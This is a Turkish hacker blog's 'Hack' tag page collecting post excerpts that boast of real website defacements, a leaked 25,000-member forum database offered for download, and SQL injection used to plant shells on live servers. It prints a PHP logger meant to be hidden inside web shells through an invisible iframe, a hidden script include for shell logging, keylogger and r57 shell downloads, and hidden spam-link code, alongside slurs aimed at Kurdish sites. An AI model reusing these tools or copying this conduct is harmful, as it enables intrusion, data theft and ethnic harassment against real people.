[ana sayfa] [hakkımda] [arşiv] [iletişim]
Hack etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Hack etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

0 Python'da Panel Scanner Yapımı

Merhaba, bu yazımda Python ile panel bulucu nasıl kodlanır onu göstermeye çalışıcam.Kullanımı gayet basit olacak. panel.txt içinde panel dizinleri var ve sırasıyla panel.txt 'den hedef siteye brute yapacak.Bu arada panel dizinlerini havij'den çektim; 375 satır dizin var.Php+Asp karışık tarıyor, istenirse kullanıcı tercihine göre asp/php ayrı taranabilir.Sizin daha iyisini yapacağınıza şüphem yok :) başlayalım...

0 Blind SQL Injection (Temel)

Merhaba, bu yazıda sizlere MySQL Blind Injection'dan bahsedicem.Normal SQLi bilgilerinize  güvenerek Blind SQLi'de birşeyler yaparım diyorsanız elinize kayda değer birşey geçirecemeyecek, sıkılıp vazgeçeceksiniz.Çünkü Blind SQLi'de sayfada işinize yarayan verileri yazdıramıyorsunuz, her harf için sorgunuzu tekrar düzenlemeniz, bir yandan da aldığınız tepkilere göre ASCII tablosundan yararlanmanız gerekiyor.Yani sabır ve ince işçilik isteyen bir iş.

0 Winrar HTML Injection Açığı [SFX]

Merhaba, bayadır piyasada olan ama yeni farkettiğim (https://milw00rm.net/exploits/8958) şaşırtıcı derecede basit bir açık ama risk düzeyi oldukça yüksek bana göre, ohoo uğraşılsa neler yapılmaz ki bununla :)

Açık 18 Mayıs 2015'de Ehsan Ice tarafından keşfedilmiş ve WinRAR tarafından halen bir yama yayınlanmış değil :) Yani açık winrar'ın bütün sürümlerinde halen bulunuyor !

0 Loglamayı Sevenlere

Artık mail'de atıyor, yakında bulaşıkları da yıkayacak :) [ * ]
Editleyip ben kodladım diyen götverendir : [*,*] :)

9 Loglu Shell Scripti (Şifre Korumalı)

Blog panelimde en çok hit alan yazıların başında "Haydi ! Loglu Shell Yapalım :)" yazımın olduğunu görünce oradaki bilgilerin biraz tırt olduğunu farkettim...yani kaldır at bi boka yaramaz...o yazıyı hangi kafayla yazdım hatırlamıyorum ama bayadır düzenlemeyi düşünüyodum lakin üşengeçlik işte :) Neyse üşengeçliğimin aksine gecenin bi yarısı üşenmedim sırf sizler birbirinizi rahat rahat kekleyin diye şifre korumalı loglu shell yazdım :) en azından piyasadaki kıytırık logger dalgalarının aksine şık & güvenli oldu :) kullanım klavuzu bile var !!!
Aslında bi ara kafayı biraz daha kırıp kullanıcı girişini & logları mySql e bağlayacaktım ama kullanım kolaylığı açısından biraz zor olacaktı...yani düşünsenize zor zahmet bi server a sızdınız gizli saklı bu scripti orada kullanmak istiyorsunuz bide tutup phpMyadmin 'e girip veritabanı mı oluşturacaksınız pehh!?! :P tabi siz sırf Loglu Shell işi için ayrı host - domain alacaksanız o zaman başka, iletişime geçin karşılıklı güzelleşiriz ;)
Login paneli :) amerikan filmlerindeki gibi oldu :)
Logları buradan gözlemleyebilirsiniz.fwrite ila yazım yaptığım için log dosyası şişebilir herhangi bi editörde(notepad vs.) govde.php yi açarak içeriğini silebilirsiniz.
Admin ayarlarını ayarlar.php den yukarıdaki gibi düzenleyebilirsiniz.

Shell 'e gizlenecek js kodu (şifrelemenizi tavsiye ederim) :
<script src=http://localhost/log/log.js></script>

  • Dosyaları buradan indirebilirsiniz.
  • Rar Pass : uslub3y
Yorumlarınızı bekliyorum...Hayırlı işler ! ;)

0 JavasScript Keylogger

Geliştirme fırsatı olmadı fakat bu basit ama ilginç scriptle eminim ki yapılabilecek birşeyler vardır.index.php sayfası açıkken & sadece sayfa üzerinde klavyeden bastığınız her tuş scriptin oluşturduğu "127.0.0.1.html" adlı dosyada loglanır."write.php?on=" üzerindeykende url üzerinden loglama yapar.

Js Keylogger : İndirmek İçin Buraya Tıklayınız.

0 "Hak Yerini Bulana Kadar HACK" ?

Son zamanlarda gündemde herkes tarafından bir kısım halkın üç buçuk atmasına sebebiyet veren, bir kısım tarafından ise halk kahramanı seçilen RedHack hack grubu hakkında bi kaç atıfta bulunucam.Bu yazıyı yazmamdaki amaç Bilecik belediyesine ait sitenin (bilecik.bel.tr) 1-2 gün önce bu grup tarafından hacklenişidir...(bknz.)

Aslına bakarsanız sitedeki açığı yaklaşık 1 sene kadar öncesinden beri bilmeme ve yetkili diye para ödedikleri kişilere bildirmeme rağmen deyim yerindeyse s*klenmedim ve ne haliniz varsa görün dedim ve görünüşe bakılırsa görmüşler :) basit bir SqL injection açığıyla görüldüğü gibi sitenin veritabanına oradanda maalesef can alıcı noktaya, panele ulaşabiliyordu :

Panel:

0 Sezgisel Hack ! (Sesli Eğitim Videosu)

Merhaba muhterem takipçilerim bu tür paylaşım yapmayalı uzun bir süre oldu sanırım...Bu uzun süre zarfında da anladım ki sizlerin varlığını ortaya çıkarmak için illegal yolda birşeyler yapmak gerekiyor ekşın şart yani ama yapmayacam :) yani aslında yaptım...Yaptım evet ama illegal değil uyarı maiyetinde bişey oldu galiba(Bknz.) meraktan ağzınızın sulandığını biliyorum muhteremler yaklaşın :)

1 Haydi ! Loglu Shell Yapalım :)

Loglu shell servisi sağlamak mı istiyorsun? :) Bunun için aşağıda yazdığım kodları kullanabilirsin.Logger.php 'yi frame ile shell içine gizleyerek logları oluşturduğun bir log.php dosyasından takip edebilirsin.



logger.php
<?php

/*
 uslubey.blogspot.com
*/

 $uslu="<b>Dosya Yolu</b> : ".$_SERVER['DOCUMENT_ROOT']."/n";
 $uslu.="<b>Admin</b> : ".$_SERVER['SERVER_ADMIN']."/n";
 $uslu.="<b>O/S</b> : ".$_SERVER['SERVER_SOFTWARE']."/n";
 $uslu.="<b>Shell</b> : "."<a href="."http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'].">".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."</a>"."/n";
 $uslu.="<b>Site</b> : " .$_SERVER['HTTP_HOST']."/n";
 $uslu.="<b>Tarih</b> :".date("d.m.y")."/n";
 print "/n";
 $x = fopen("log.php" , 'a');
 fwrite($x,$uslu);
 fwrite($x,"-----/n");
 fclose($x);
 ?>

iframe
<iframe name="frame_ismi" src="logger.php" width="0" height="0" scrolling="no" frameborder="0" marginwidth="0" marginheight="0"></iframe>


  • 31.08.2013: daha güzelini kodladım :) burada!

4 nupelda.com & hiwaroni.com Hacked + DB Çekildi !

Merhaba arkadaşlar ufak bi rahatsızlığımdan dolayı dün bütün günümü evde geçirmek zorunda kaldım :D tabi bütün gün bilgisayar başında oturmak insanın beynini "Acaba şimdi ne yapsam?" sorusuyla sık sık meşgul ediyor.Sonuç itibariyle yaklaşık 30 dk'lık bir çalışma sonucu bu alttaki 25 bin şerefsiz barındıran bölücü siteler tarafımca ve kicker dostumun yardımıyla bertaraf edildi :) Forum şu anda kapalı fakat her an enselerindeyiz vazgeçmezlerse tekrar basıcaz...

Domain1: nupelda.com

Domain2: hiwaroni.com

Mirrors:

http://www.zoneturka.com/deface_mirror/?id=63906
http://www.zoneturka.com/deface_mirror/?id=63905
http://turkey-m.org/defacements/?id=8107
http://turkey-m.org/defacements/?id=8106

kafede olduğumuz için zone-h ve turk-h'ye nedense bir türlü giremedik o yüzden bunları bulduk :P neyseki herşey ortada o yüzden mirror'u pek dert etmiyorum :)

25K Üyeli vBulletin DB Download:

http://rapidshare.com/files/399050162/nupeldadbuslubey-kicker.rar.html


Düzenleme (15.06.2010)

Tekrar merhaba anlaşılan bu sefiller oyunu burada bitti sandılar ama yanılıyorlar :) Bugün yorumlara baktığımda yukarıdaki konudan kuyruk acısı olan itlerden biri aciz aciz küfürler savurup arazi olmuş :) Ama bu onlara 2. bir ders olarak geri döndü:

http://zone-h.org/mirror/id/10918347

http://turk-h.org/defacement/view/373795/hiwaroni.com

http://turk-h.org/defacement/view/373794/nupelda.com

Tekrar söylüyorum size bu topraklar üzerinde yer olmadığı gibi sanalda da mekan yok!!!

10 Nedir Bu Hacklink Olayı



İllegal herhangi bir yöntemle pr değeri yüksek herhangi bir siteye kontrol yetkisi elde edilerek(kısaca hackleyerek ^^ ) hedef siteye kendi sitemizin kodlarını yerleştirmemizle başlar...

Örnek bir hacklink olayını vurgulamak gerekirse sistem şöyledir:

diziizlemax.com adlı sitenin uyanık sahibi http://www.nelc.edu.eg adlı siteye shell veya kul. adı ve şifre çalarak erişim sağlamış olmalı ki 8/10 pr değerindeki bu siteye backlink vermiştir.Yada diğer bir ihtimalide göze alırsak nelc.edu.eg sitesinin sahibi, diziizlemax.com sitesinin sahibinin askerlik arkadaşıdır, kankisidir işte ne biliyim herhangi bilmemnesidir hatır için sitesine bilerekten link vermiştir :P

Kanıtlamak gerekirse sitenin kaynak kodlarını açıp bakabilirsiniz:

En altta şu kodları görebilirsiniz:

<a style="font-size: 1pt; color: #f8f8f8" title="dizi izle" target="_blank" href="http://www.diziizlemax.com">dizi izle</a>

Gerçi bu kodların yanı sıra daha bir çok otlakçıyı daha görebilirsiniz ama neyse şimdi onlarada değinirek konuyu uzatmanın anlamı yok :P

Özellikle font size 1 punto ve yazı rengi sitenin arkaplan değerinde seçilmiştir ki hacklink yapılan site sahibi davayı çakmasın ;)

Ama bennn evet yardımsever ben hemen siteye insanlık namına aşağıdaki gibi bir uyarı gönderdim bile hahaha :D



Yakında bu işin daha profesyonel yöntemlerini sizlere ayrıntılı bir şekilde göstericem :D herşey insanlık namına herşey eğitim için...Sizler evet siz heykirlar yeterki içinizdeki şeytani ruhu öldürmeyin heyk ruhunu canlı tutun!

Saygılarımla UsluBey™

0 Kurdish-Net.com Hacked!

Site: Kurdish-Net.com

1 Security-Arge.com Online!

Sanalda tanıdığım en delikanlı insanlardan biri olan Reis'le açmaya karar verdiğimiz forumumuz Reis'in katkılarıyla online!

Açılışı şerefine bir adet şerefsiz sitesi hacklenmiştir.

Site: rociwan.com

Mirror: http://www.zone-h.org/mirror/id/9009526
Video: http://depo.security-arge.com/itler.rar

Destek maili olarak kullandıkları mail:

rociwanalikari@hotmail.com 0WNED!

6 MySQL Injection Show :)

Merhaba arkadaşlar uzun bir aradan sonra güzel bir video ile tekrar karşınızdayım :)

SQL Injection'a yeni başladığım günden bu yana geçen sürede anladım ki bir siteye SQL Injection uygulamak gerçekten bir sanat ve çok zevkli bir iş :) Eğer içinizde biraz keşfetme ve hırs duygusu varsa çok büyük işler yapabilirsiniz...

Videoyu biraz açıklayacak olursam, online kitap satışı yapan bir siteyi hedef aldım...Açıkçası başta siteye shell sokmak aklımdan geçmedi, ilk önce mysql injection uygulayarak tüm adminlerin bilgilerini aldım tabi bunun yanında şansımın yaver gitmesiyle birçok e-mail hatta bir host+domain bile elime geçti :) Ama en küçük bir veri kaybına yada hesaba el koyma gibi birşey yapmadım.Benimkisi sadece yapabileceklerimi görme egosu galiba...

Aradan kısa bir zaman geçince aklıma birşey takıldı milw0rm'de "Rooting a linux box via MySQL Injection" adlı bir video izlemiştim çok ilgimi çeken bir videoydu videodaki yönteme ara ara göz gezdirdiğim SQL injection cheat sheet yazılarından aşinaydım...Ama herhangi bir siteye uygulamak açıkçası nasip olmamıştı :) Neden olmasın diyerek load_file() fonksiyonunu kullandım ve başarıyla çalıştı...Daha sonra önem taşıyan bazı site dosyalarını okudum...Ardından basit bir rfi açığı yaratarak işi bitirdim...Serverda yeni bir kernel kullandıkları için uygun local root exploiti bulamadım dolayısıyla root olamadım...Zaten 2 site barınıyordu işte onlar :P

http://www.zone-h.org/mirror/id/8776609
http://www.zone-h.org/mirror/id/8788915

  • Videodaki Araçlar:
> r57 Shell : http://kopru6.co.cc/r57.txt

> text2hex : indir (36 Kb)

  • Video Download:
> İndir (11 .9 Mb)

Lütfen Kaynak Göstererek Kullanınız! /UsluBey

4 Türkler Zone-h'yi Fethetti

Zone-h'nin açılışının ardından sitede artık türklerden başkasını göremez oldum...

Ondan bundan düşme serverlardaki b.oktan sitelere atılan amaçsız indexler, indexlerde yer alan küfürler, hakaretler zone-h nin kalitesini ayaklar altına alıyor bence...Yabancılarda haklı aslında adamlar baktı türklerin işi gücü yok sabah akşam zone kasıyor "Lanet olsun be! Alın sizin olsun!" der gibi ellerini ayaklarını çektiler siteden :D

2 satır kod bilmeyen ama r57, c99 listpathlerle yeşil perm arayarak site hacklemekle gün geçiren her türk genci hacker oldum derse bilişim yönünde pekde iyi bir geleceğe sahip olamayacağımız kesin...

Saygılarımla gözlerinizden öperim...
/UsluBey